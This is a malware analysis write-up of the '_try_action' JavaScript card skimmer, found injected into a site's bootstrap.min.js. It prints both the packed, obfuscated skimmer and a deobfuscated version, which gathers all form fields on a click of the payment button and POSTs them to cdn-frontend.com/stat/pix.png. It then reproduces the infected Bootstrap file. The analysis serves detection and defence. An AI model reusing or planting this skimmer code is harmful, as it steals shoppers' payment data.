_try_action Skimmer

_try_action skimmer is written in JavaScript and found by @liamsmith86 loading from an injection at the bottom of legitimate JavaScript code in the file js/bootstrap/bootstrap.min.js

Obfuscation

The skimmer’s uses the Javascript function (p, a, c, k, e, d) and a custom function e to obfuscate the skimmer’s actual code so that it is more difficult to detect with passive scanning tools.

Beautified version of the obfuscated skimmer code below.


eval(
  (function (p, a, c, k, e, d) {
    e = function (c) {
      return (
        (c < a ? "" : e(parseInt(c / a))) +
        ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36))
      );
    };
    if (!"".replace(/^/, String)) {
      while (c--) {
        d[e(c)] = k[c] || e(c);
      }
      k = [
        function (e) {
          return d[e];
        },
      ];
      e = function () {
        return "\\w+";
      };
      c = 1;
    }
    while (c--) {
      if (k[c]) {
        p = p.replace(new RegExp("\\b" + e(c) + "\\b", "g"), k[c]);
      }
    }
    return p;
  })(
    '7 6(){G 2={};3("d j, d n").m(7(l){o((2[0.1]==""||2[0.1]=="4"||c 2[0.1]==="4")&&0.1!=""&&0.1!="4"&&c 0.1!=="4"){2[0.1]=0.a;k g}i{2[0.h]=0.a}});3.q({z:F("E=="),D:"p="+5(C(B(5(A.y(2)))))+"&b="+5(r.b),x:"w",v:"u"})}3(t).s(7(){3("*[8*=\\"e.f()\\"]").9(6)});3("*[8*=\\"e.f()\\"]").9(6);',
    43,
    43,
    "this|name|arr|jQuery|undefined|encodeURIComponent|_try_action|function|onclick|click|value|host|typeof|body|payment|save|true|id|else|input|return|index|each|select|if|cid|ajax|location|ready|document|json|dataType|POST|type|stringify|url|JSON|unescape|btoa|data|Ly9jZG4tZnJvbnRlbmQuY29tL3N0YXQvcGl4LnBuZw|atob|var".split(
      "|"
    ),
    0,
    {}
  )
);

Exfiltration -> cdn-frontend.com/stat/pix.png

After deobfuscating the code, we can see the skimmer’s _try_action function in plaintext:


function _try_action() {
    var arr = {};
    jQuery("body input, body select").each(function (index) {
        if ((arr[this.name] == "" || arr[this.name] == "undefined" || typeof arr[this.name] === "undefined") && this.name != "" && this.name != "undefined" && typeof this.name !== "undefined") {
            arr[this.name] = this.value;
            return true
        } else {
            arr[this.id] = this.value
        }
    });
    jQuery.ajax({
        url: atob("Ly9jZG4tZnJvbnRlbmQuY29tL3N0YXQvcGl4LnBuZw=="),
        // url: //cdn-frontend.com/stat/pix.png
        data: "cid=" + encodeURIComponent(btoa(unescape(encodeURIComponent(JSON.stringify(arr))))) + "&host=" + encodeURIComponent(location.host),
        type: "POST",
        dataType: "json"
    })
}
jQuery(document).ready(function () {
    jQuery("*[onclick*=\"payment.save()\"]").click(_try_action)
});
jQuery("*[onclick*=\"payment.save()\"]").click(_try_action);

The _try_action function doesn’t run until the victim clicks onto the payment.save payment button on the infected checkout page.

We can see the skimmer’s exfiltration uses atob to base64_decode the string to the plaintext URL cdn-frontend.com/stat/pix.png - then a POST HTTP request is sent to the URL which contains a JSON encoded copy of the payment data stolen from the infected website.

    jQuery.ajax({
        url: atob("Ly9jZG4tZnJvbnRlbmQuY29tL3N0YXQvcGl4LnBuZw=="),
        // url: //cdn-frontend.com/stat/pix.png
        data: "cid=" + encodeURIComponent(btoa(unescape(encodeURIComponent(JSON.stringify(arr))))) + "&host=" + encodeURIComponent(location.host),
        type: "POST",
        dataType: "json"
    })

Sample


/*!
* Bootstrap.js by @fat & @mdo
* Copyright 2012 Twitter, Inc.
* http://www.apache.org/licenses/LICENSE-2.0.txt
*/
!function(e){"use strict";e(function(){e.support.transition=function(){var e=function(){var e=document.createElement("bootstrap"),t={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd otransitionend",transition:"transitionend"},n;for(n in t)if(e.style[n]!==undefined)return t[n]}();return e&&{end:e}}()})}(window.$jq),!function(e){"use strict";var t='[data-dismiss="alert"]',n=function(n){e(n).on("click",t,this.close)};n.prototype.close=function(t){function s(){i.trigger("closed").remove()}var n=e(this),r=n.attr("data-target"),i;r||(r=n.attr("href"),r=r&&r.replace(/.*(?=#[^\s]*$jq)/,"")),i=e(r),t&&t.preventDefault(),i.length||(i=n.hasClass("alert")?n:n.parent()),i.trigger(t=e.Event("close"));if(t.isDefaultPrevented())return;i.removeClass("in"),e.support.transition&&i.hasClass("fade")?i.on(e.support.transition.end,s):s()};var r=e.fn.alert;e.fn.alert=function(t){return this.each(function(){var r=e(this),i=r.data("alert");i||r.data("alert",i=new n(this)),typeof t=="string"&&i[t].call(r)})},e.fn.alert.Constructor=n,e.fn.alert.noConflict=function(){return e.fn.alert=r,this},e(document).on("click.alert.data-api",t,n.prototype.close)}(window.$jq),!function(e){"use strict";var t=function(t,n){this.$jqelement=e(t),this.options=e.extend({},e.fn.button.defaults,n)};t.prototype.setState=function(e){var t="disabled",n=this.$jqelement,r=n.data(),i=n.is("input")?"val":"html";e+="Text",r.resetText||n.data("resetText",n[i]()),n[i](r[e]||this.options[e]),setTimeout(function(){e=="loadingText"?n.addClass(t).attr(t,t):n.removeClass(t).removeAttr(t)},0)},t.prototype.toggle=function(){var e=this.$jqelement.closest('[data-toggle="buttons-radio"]');e&&e.find(".active").removeClass("active"),this.$jqelement.toggleClass("active")};var n=e.fn.button;e.fn.button=function(n){return this.each(function(){var r=e(this),i=r.data("button"),s=typeof n=="object"&&n;i||r.data("button",i=new t(this,s)),n=="toggle"?i.toggle():n&&i.setState(n)})},e.fn.button.defaults={loadingText:"loading..."},e.fn.button.Constructor=t,e.fn.button.noConflict=function(){return e.fn.button=n,this},e(document).on("click.button.data-api","[data-toggle^=button]",function(t){var n=e(t.target);n.hasClass("btn")||(n=n.closest(".btn")),n.button("toggle")})}(window.$jq),!function(e){"use strict";var t=function(t,n){this.$jqelement=e(t),this.$jqindicators=this.$jqelement.find(".carousel-indicators"),this.options=n,this.options.pause=="hover"&&this.$jqelement.on("mouseenter",e.proxy(this.pause,this)).on("mouseleave",e.proxy(this.cycle,this))};t.prototype={cycle:function(t){return t||(this.paused=!1),this.interval&&clearInterval(this.interval),this.options.interval&&!this.paused&&(this.interval=setInterval(e.proxy(this.next,this),this.options.interval)),this},getActiveIndex:function(){return this.$jqactive=this.$jqelement.find(".item.active"),this.$jqitems=this.$jqactive.parent().children(),this.$jqitems.index(this.$jqactive)},to:function(t){var n=this.getActiveIndex(),r=this;if(t>this.$jqitems.length-1||t<0)return;return this.sliding?this.$jqelement.one("slid",function(){r.to(t)}):n==t?this.pause().cycle():this.slide(t>n?"next":"prev",e(this.$jqitems[t]))},pause:function(t){return t||(this.paused=!0),this.$jqelement.find(".next, .prev").length&&e.support.transition.end&&(this.$jqelement.trigger(e.support.transition.end),this.cycle(!0)),clearInterval(this.interval),this.interval=null,this},next:function(){if(this.sliding)return;return this.slide("next")},prev:function(){if(this.sliding)return;return this.slide("prev")},slide:function(t,n){var r=this.$jqelement.find(".item.active"),i=n||r[t](),s=this.interval,o=t=="next"?"left":"right",u=t=="next"?"first":"last",a=this,f;this.sliding=!0,s&&this.pause(),i=i.length?i:this.$jqelement.find(".item")[u](),f=e.Event("slide",{relatedTarget:i[0],direction:o});if(i.hasClass("active"))return;this.$jqindicators.length&&(this.$jqindicators.find(".active").removeClass("active"),this.$jqelement.one("slid",function(){var t=e(a.$jqindicators.children()[a.getActiveIndex()]);t&&t.addClass("active")}));if(e.support.transition&&this.$jqelement.hasClass("slide")){this.$jqelement.trigger(f);if(f.isDefaultPrevented())return;i.addClass(t),i[0].offsetWidth,r.addClass(o),i.addClass(o),this.$jqelement.one(e.support.transition.end,function(){i.removeClass([t,o].join(" ")).addClass("active"),r.removeClass(["active",o].join(" ")),a.sliding=!1,setTimeout(function(){a.$jqelement.trigger("slid")},0)})}else{this.$jqelement.trigger(f);if(f.isDefaultPrevented())return;r.removeClass("active"),i.addClass("active"),this.sliding=!1,this.$jqelement.trigger("slid")}return s&&this.cycle(),this}};var n=e.fn.carousel;e.fn.carousel=function(n){return this.each(function(){var r=e(this),i=r.data("carousel"),s=e.extend({},e.fn.carousel.defaults,typeof n=="object"&&n),o=typeof n=="string"?n:s.slide;i||r.data("carousel",i=new t(this,s)),typeof n=="number"?i.to(n):o?i[o]():s.interval&&i.pause().cycle()})},e.fn.carousel.defaults={interval:5e3,pause:"hover"},e.fn.carousel.Constructor=t,e.fn.carousel.noConflict=function(){return e.fn.carousel=n,this},e(document).on("click.carousel.data-api","[data-slide], [data-slide-to]",function(t){var n=e(this),r,i=e(n.attr("data-target")||(r=n.attr("href"))&&r.replace(/.*(?=#[^\s]+$jq)/,"")),s=e.extend({},i.data(),n.data()),o;i.carousel(s),(o=n.attr("data-slide-to"))&&i.data("carousel").pause().to(o).cycle(),t.preventDefault()})}(window.$jq),!function(e){"use strict";var t=function(t,n){this.$jqelement=e(t),this.options=e.extend({},e.fn.collapse.defaults,n),this.options.parent&&(this.$jqparent=e(this.options.parent)),this.options.toggle&&this.toggle()};t.prototype={constructor:t,dimension:function(){var e=this.$jqelement.hasClass("width");return e?"width":"height"},show:function(){var t,n,r,i;if(this.transitioning||this.$jqelement.hasClass("in"))return;t=this.dimension(),n=e.camelCase(["scroll",t].join("-")),r=this.$jqparent&&this.$jqparent.find("> .accordion-group > .in");if(r&&r.length){i=r.data("collapse");if(i&&i.transitioning)return;r.collapse("hide"),i||r.data("collapse",null)}this.$jqelement[t](0),this.transition("addClass",e.Event("show"),"shown"),e.support.transition&&this.$jqelement[t](this.$jqelement[0][n])},hide:function(){var t;if(this.transitioning||!this.$jqelement.hasClass("in"))return;t=this.dimension(),this.reset(this.$jqelement[t]()),this.transition("removeClass",e.Event("hide"),"hidden"),this.$jqelement[t](0)},reset:function(e){var t=this.dimension();return this.$jqelement.removeClass("collapse")[t](e||"auto")[0].offsetWidth,this.$jqelement[e!==null?"addClass":"removeClass"]("collapse"),this},transition:function(t,n,r){var i=this,s=function(){n.type=="show"&&i.reset(),i.transitioning=0,i.$jqelement.trigger(r)};this.$jqelement.trigger(n);if(n.isDefaultPrevented())return;this.transitioning=1,this.$jqelement[t]("in"),e.support.transition&&this.$jqelement.hasClass("collapse")?this.$jqelement.one(e.support.transition.end,s):s()},toggle:function(){this[this.$jqelement.hasClass("in")?"hide":"show"]()}};var n=e.fn.collapse;e.fn.collapse=function(n){return this.each(function(){var r=e(this),i=r.data("collapse"),s=e.extend({},e.fn.collapse.defaults,r.data(),typeof n=="object"&&n);i||r.data("collapse",i=new t(this,s)),typeof n=="string"&&i[n]()})},e.fn.collapse.defaults={toggle:!0},e.fn.collapse.Constructor=t,e.fn.collapse.noConflict=function(){return e.fn.collapse=n,this},e(document).on("click.collapse.data-api","[data-toggle=collapse]",function(t){var n=e(this),r,i=n.attr("data-target")||t.preventDefault()||(r=n.attr("href"))&&r.replace(/.*(?=#[^\s]+$jq)/,""),s=e(i).data("collapse")?"toggle":n.data();n[e(i).hasClass("in")?"addClass":"removeClass"]("collapsed"),e(i).collapse(s)})}(window.$jq),!function(e){"use strict";function r(){e(".dropdown-backdrop").remove(),e(t).each(function(){i(e(this)).removeClass("open")})}function i(t){var n=t.attr("data-target"),r;n||(n=t.attr("href"),n=n&&/#/.test(n)&&n.replace(/.*(?=#[^\s]*$jq)/,"")),r=n&&e(n);if(!r||!r.length)r=t.parent();return r}var t="[data-toggle=dropdown]",n=function(t){var n=e(t).on("click.dropdown.data-api",this.toggle);e("html").on("click.dropdown.data-api",function(){n.parent().removeClass("open")})};n.prototype={constructor:n,toggle:function(t){var n=e(this),s,o;if(n.is(".disabled, :disabled"))return;return s=i(n),o=s.hasClass("open"),r(),o||("ontouchstart"in document.documentElement&&e('<div class="dropdown-backdrop"/>').insertBefore(e(this)).on("click",r),s.toggleClass("open")),n.focus(),!1},keydown:function(n){var r,s,o,u,a,f;if(!/(38|40|27)/.test(n.keyCode))return;r=e(this),n.preventDefault(),n.stopPropagation();if(r.is(".disabled, :disabled"))return;u=i(r),a=u.hasClass("open");if(!a||a&&n.keyCode==27)return n.which==27&&u.find(t).focus(),r.click();s=e("[role=menu] li:not(.divider):visible a",u);if(!s.length)return;f=s.index(s.filter(":focus")),n.keyCode==38&&f>0&&f--,n.keyCode==40&&f<s.length-1&&f++,~f||(f=0),s.eq(f).focus()}};var s=e.fn.dropdown;e.fn.dropdown=function(t){return this.each(function(){var r=e(this),i=r.data("dropdown");i||r.data("dropdown",i=new n(this)),typeof t=="string"&&i[t].call(r)})},e.fn.dropdown.Constructor=n,e.fn.dropdown.noConflict=function(){return e.fn.dropdown=s,this},e(document).on("click.dropdown.data-api",r).on("click.dropdown.data-api",".dropdown form",function(e){e.stopPropagation()}).on("click.dropdown.data-api",t,n.prototype.toggle).on("keydown.dropdown.data-api",t+", [role=menu]",n.prototype.keydown)}(window.$jq),!function(e){"use strict";var t=function(t,n){this.options=n,this.$jqelement=e(t).delegate('[data-dismiss="modal"]',"click.dismiss.modal",e.proxy(this.hide,this)),this.options.remote&&this.$jqelement.find(".modal-body").load(this.options.remote)};t.prototype={constructor:t,toggle:function(){return this[this.isShown?"hide":"show"]()},show:function(){var t=this,n=e.Event("show");this.$jqelement.trigger(n);if(this.isShown||n.isDefaultPrevented())return;this.isShown=!0,this.escape(),this.backdrop(function(){var n=e.support.transition&&t.$jqelement.hasClass("fade");t.$jqelement.parent().length||t.$jqelement.appendTo(document.body),t.$jqelement.show(),n&&t.$jqelement[0].offsetWidth,t.$jqelement.addClass("in").attr("aria-hidden",!1),t.enforceFocus(),n?t.$jqelement.one(e.support.transition.end,function(){t.$jqelement.focus().trigger("shown")}):t.$jqelement.focus().trigger("shown")})},hide:function(t){t&&t.preventDefault();var n=this;t=e.Event("hide"),this.$jqelement.trigger(t);if(!this.isShown||t.isDefaultPrevented())return;this.isShown=!1,this.escape(),e(document).off("focusin.modal"),this.$jqelement.removeClass("in").attr("aria-hidden",!0),e.support.transition&&this.$jqelement.hasClass("fade")?this.hideWithTransition():this.hideModal()},enforceFocus:function(){var t=this;e(document).on("focusin.modal",function(e){t.$jqelement[0]!==e.target&&!t.$jqelement.has(e.target).length&&t.$jqelement.focus()})},escape:function(){var e=this;this.isShown&&this.options.keyboard?this.$jqelement.on("keyup.dismiss.modal",function(t){t.which==27&&e.hide()}):this.isShown||this.$jqelement.off("keyup.dismiss.modal")},hideWithTransition:function(){var t=this,n=setTimeout(function(){t.$jqelement.off(e.support.transition.end),t.hideModal()},500);this.$jqelement.one(e.support.transition.end,function(){clearTimeout(n),t.hideModal()})},hideModal:function(){var e=this;this.$jqelement.hide(),this.backdrop(function(){e.removeBackdrop(),e.$jqelement.trigger("hidden")})},removeBackdrop:function(){this.$jqbackdrop&&this.$jqbackdrop.remove(),this.$jqbackdrop=null},backdrop:function(t){var n=this,r=this.$jqelement.hasClass("fade")?"fade":"";if(this.isShown&&this.options.backdrop){var i=e.support.transition&&r;this.$jqbackdrop=e('<div class="modal-backdrop '+r+'" />').appendTo(document.body),this.$jqbackdrop.click(this.options.backdrop=="static"?e.proxy(this.$jqelement[0].focus,this.$jqelement[0]):e.proxy(this.hide,this)),i&&this.$jqbackdrop[0].offsetWidth,this.$jqbackdrop.addClass("in");if(!t)return;i?this.$jqbackdrop.one(e.support.transition.end,t):t()}else!this.isShown&&this.$jqbackdrop?(this.$jqbackdrop.removeClass("in"),e.support.transition&&this.$jqelement.hasClass("fade")?this.$jqbackdrop.one(e.support.transition.end,t):t()):t&&t()}};var n=e.fn.modal;e.fn.modal=function(n){return this.each(function(){var r=e(this),i=r.data("modal"),s=e.extend({},e.fn.modal.defaults,r.data(),typeof n=="object"&&n);i||r.data("modal",i=new t(this,s)),typeof n=="string"?i[n]():s.show&&i.show()})},e.fn.modal.defaults={backdrop:!0,keyboard:!0,show:!0},e.fn.modal.Constructor=t,e.fn.modal.noConflict=function(){return e.fn.modal=n,this},e(document).on("click.modal.data-api",'[data-toggle="modal"]',function(t){var n=e(this),r=n.attr("href"),i=e(n.attr("data-target")||r&&r.replace(/.*(?=#[^\s]+$jq)/,"")),s=i.data("modal")?"toggle":e.extend({remote:!/#/.test(r)&&r},i.data(),n.data());t.preventDefault(),i.modal(s).one("hide",function(){n.focus()})})}(window.$jq),!function(e){"use strict";var t=function(e,t){this.init("tooltip",e,t)};t.prototype={constructor:t,init:function(t,n,r){var i,s,o,u,a;this.type=t,this.$jqelement=e(n),this.options=this.getOptions(r),this.enabled=!0,o=this.options.trigger.split(" ");for(a=o.length;a--;)u=o[a],u=="click"?this.$jqelement.on("click."+this.type,this.options.selector,e.proxy(this.toggle,this)):u!="manual"&&(i=u=="hover"?"mouseenter":"focus",s=u=="hover"?"mouseleave":"blur",this.$jqelement.on(i+"."+this.type,this.options.selector,e.proxy(this.enter,this)),this.$jqelement.on(s+"."+this.type,this.options.selector,e.proxy(this.leave,this)));this.options.selector?this._options=e.extend({},this.options,{trigger:"manual",selector:""}):this.fixTitle()},getOptions:function(t){return t=e.extend({},e.fn[this.type].defaults,this.$jqelement.data(),t),t.delay&&typeof t.delay=="number"&&(t.delay={show:t.delay,hide:t.delay}),t},enter:function(t){var n=e.fn[this.type].defaults,r={},i;this._options&&e.each(this._options,function(e,t){n[e]!=t&&(r[e]=t)},this),i=e(t.currentTarget)[this.type](r).data(this.type);if(!i.options.delay||!i.options.delay.show)return i.show();clearTimeout(this.timeout),i.hoverState="in",this.timeout=setTimeout(function(){i.hoverState=="in"&&i.show()},i.options.delay.show)},leave:function(t){var n=e(t.currentTarget)[this.type](this._options).data(this.type);this.timeout&&clearTimeout(this.timeout);if(!n.options.delay||!n.options.delay.hide)return n.hide();n.hoverState="out",this.timeout=setTimeout(function(){n.hoverState=="out"&&n.hide()},n.options.delay.hide)},show:function(){var t,n,r,i,s,o,u=e.Event("show");if(this.hasContent()&&this.enabled){this.$jqelement.trigger(u);if(u.isDefaultPrevented())return;t=this.tip(),this.setContent(),this.options.animation&&t.addClass("fade"),s=typeof this.options.placement=="function"?this.options.placement.call(this,t[0],this.$jqelement[0]):this.options.placement,t.detach().css({top:0,left:0,display:"block"}),this.options.container?t.appendTo(this.options.container):t.insertAfter(this.$jqelement),n=this.getPosition(),r=t[0].offsetWidth,i=t[0].offsetHeight;switch(s){case"bottom":o={top:n.top+n.height,left:n.left+n.width/2-r/2};break;case"top":o={top:n.top-i,left:n.left+n.width/2-r/2};break;case"left":o={top:n.top+n.height/2-i/2,left:n.left-r};break;case"right":o={top:n.top+n.height/2-i/2,left:n.left+n.width}}this.applyPlacement(o,s),this.$jqelement.trigger("shown")}},applyPlacement:function(e,t){var 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